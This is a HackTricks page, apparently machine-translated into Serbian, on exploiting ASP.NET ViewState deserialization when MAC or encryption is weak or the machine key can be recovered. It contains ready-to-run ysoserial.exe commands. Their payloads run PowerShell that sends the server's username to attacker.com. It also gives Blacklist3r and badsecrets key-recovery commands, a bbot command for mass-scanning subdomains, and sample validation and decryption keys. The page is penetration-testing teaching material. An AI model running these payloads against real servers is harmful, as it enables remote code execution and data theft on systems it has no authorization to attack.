Exploiting __VIEWSTATE without knowing the secrets

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

Šta je ViewState

ViewState služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka stranice i kontrola preko veb stranica. Tokom renderovanja HTML-a stranice, trenutno stanje stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64 enkodirane stringove. Ovi stringovi se zatim smeštaju u skrivena polja ViewState-a.

Informacije ViewState-a mogu biti karakterisane sledećim svojstvima ili njihovim kombinacijama:

  • Base64:

  • Ovaj format se koristi kada su atributi EnableViewStateMac i ViewStateEncryptionMode postavljeni na false.

  • Base64 + MAC (Message Authentication Code) omogućen:

  • Aktivacija MAC-a se postiže postavljanjem atributa EnableViewStateMac na true. Ovo pruža verifikaciju integriteta podataka ViewState-a.

  • Base64 + Enkriptovan:

  • Enkripcija se primenjuje kada je atribut ViewStateEncryptionMode postavljen na true, obezbeđujući poverljivost podataka ViewState-a.

Test slučajevi

Slika je tabela koja detaljno opisuje različite konfiguracije ViewState-a u ASP.NET-u zasnovane na verziji .NET framework-a. Evo sažetka sadržaja:

  1. Za bilo koju verziju .NET-a, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenjiva metoda za identifikaciju.

  2. Za verzije ispod 4.5, ako je MAC omogućen ali Enkripcija nije, potreban je MachineKey. Metoda za identifikaciju MachineKey-a se naziva "Blacklist3r."

  3. Za verzije ispod 4.5, bez obzira da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, potreban je MachineKey. Identifikacija MachineKey-a je zadatak za "Blacklist3r - Future Development."

  4. Za verzije 4.5 i novije, sve kombinacije MAC-a i Enkripcije (bilo da su oba tačna, ili je jedan tačan a drugi netačan) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."

Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false

Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registarskog ključa AspNetEnforceViewStateMac na nulu u:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifikacija ViewState atributa

Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om snimanjem zahteva koji sadrži ovaj parametar pomoću BurpSuite-a. Ako Mac nije korišćen za zaštitu parametra, možete ga iskoristiti koristeći YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test slučaj 1.5 – Kao Test slučaj 1, ali ViewState kolačić nije poslat od strane servera

Programeri mogu ukloniti ViewState da postane deo HTTP zahteva (korisnik neće primiti ovaj kolačić). Može se pretpostaviti da ako ViewState nije prisutan, njihova implementacija je sigurna od potencijalnih ranjivosti koje proizilaze iz ViewState deserijalizacije. Međutim, to nije slučaj. Ako dodamo ViewState parametar u telo zahteva i pošaljemo naš serializovani payload kreiran korišćenjem ysoserial, i dalje ćemo moći postići izvršenje koda kao što je prikazano u Slučaju 1.

Test slučaj: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false

Da bismo omogućili ViewState MAC za specifičnu stranicu, potrebno je da napravimo sledeće promene na određenoj aspx datoteci:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Možemo to uraditi i za ukupnu aplikaciju postavljanjem u web.config fajlu kako je prikazano ispod:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Kako je parametar ovaj put zaštićen MAC-om, da biste uspešno izvršili napad, prvo nam je potreban korišćeni ključ.

Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da biste pronašli korišćeni ključ.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Python-u, tako da za razliku od Blacklist3r-a, nema zavisnosti od Windows-a. Za .NET viewstate-ove, postoji "python blacklist3r" alat, koji je najbrži način za korišćenje.

Može se ili obezbediti direktno sa viewstate-om i generatorom:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Ili, može se direktno povezati sa ciljnim URL-om i pokušati izdvojiti viewstate iz HTML-a:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Za pretragu ranjivih viewstate-ova u velikom obimu, u kombinaciji sa enumeracijom poddomena, može se koristiti badsecrets BBOT modul:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

U slučajevima kada server ne šalje parametar _VIEWSTATEGENERATOR, ne morate navesti parametar --generator, ali ovi:

--apppath="/" --path="/hello.aspx"

Test Slučaj: 3 – .Net < 4.5 i EnableViewStateMac=true/false i ViewStateEncryptionMode=true

U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno šifrovana i trebaće vam Machine Key da biste šifrovali svoj payload kako biste iskoristili ranjivost.

U ovom slučaju Blacklist3r modul je u fazi razvoja...

Pre .NET 4.5, ASP.NET može prihvatiti nešifrovan ___VIEWSTATE_ parametar od korisnika čak i ako je ViewStateEncryptionMode postavljen na Always. ASP.NET samo proverava prisustvo __VIEWSTATEENCRYPTED parametra u zahtevu. Ako se ovaj parametar ukloni, i pošalje se nešifrovan payload, i dalje će biti obrađen.

Stoga, ako napadači pronađu način da dobiju Machinekey putem druge ranjivosti poput prolaska kroz fajlove, YSoSerial.Net komanda korišćena u Slučaju 2, može se koristiti za izvođenje RCE korišćenjem ranjivosti deserializacije ViewState-a.

  • Uklonite __VIEWSTATEENCRYPTED parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška validacije Viewstate MAC-a i iskorišćavanje će propasti.

Test Slučaj: 4 – .Net >= 4.5 i EnableViewStateMac=true/false i ViewStateEncryptionMode=true/false osim ako su oba atributa postavljena na false

Možemo naterati korišćenje ASP.NET okvira navođenjem sledećeg parametra unutar web.config datoteke kako je prikazano ispod.

<httpRuntime targetFramework="4.5" />

Alternativno, ovo se može uraditi navođenjem sledeće opcije unutar parametra machineKey u web.config fajlu.

compatibilityMode="Framework45"

Kao i prethodno, vrednost je šifrovana. Zatim, da bi poslao validan payload, napadaču je potreban ključ.

Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete korišćeni ključ:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Za detaljniji opis IISDirPath i TargetPagePath pogledajte ovde

Ili, sa Badsecrets (sa vrednošću generatora):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Kada se identifikuje važeći ključ mašine, sledeći korak je generisanje serializovanog payload-a korišćenjem YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Ako imate vrednost __VIEWSTATEGENERATOR, možete koristiti parametar --generator sa tom vrednošću i izostaviti parametre --path i --apppath

Uspešno iskorišćavanje ranjivosti deserializacije ViewState-a dovest će do zahteva van opsega ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ovaj tip eksploatacije je prikazan u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Eksploatisanje ViewState Deserializacije korišćenjem Blacklist3r i YsoSerial.NET". Za dalje detalje o tome kako proces eksploatacije funkcioniše i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati PoC uspešne eksploatacije koji je pružen.

Test Slučaj 6 – ViewStateUserKeys se koristi

Svojstvo ViewStateUserKey može se koristiti za odbranu od CSRF napada. Ako je takav ključ definisan u aplikaciji i pokušamo generisati ViewState payload sa metodama koje su do sada razmatrane, payload neće biti obrađen od strane aplikacije. Potrebno je koristiti još jedan parametar kako biste pravilno kreirali payload:

--viewstateuserkey="randomstringdefinedintheserver"

Rezultat uspešne eksploatacije

Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi uspešno, server odgovara sa "500 Internal server error" sa odgovorom "The state information is invalid for this page and might be corrupted" i dobijamo OOB zahtev.

Proverite dalje informacije ovde

Reference

Savet za bug bounty: Prijavite se na Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated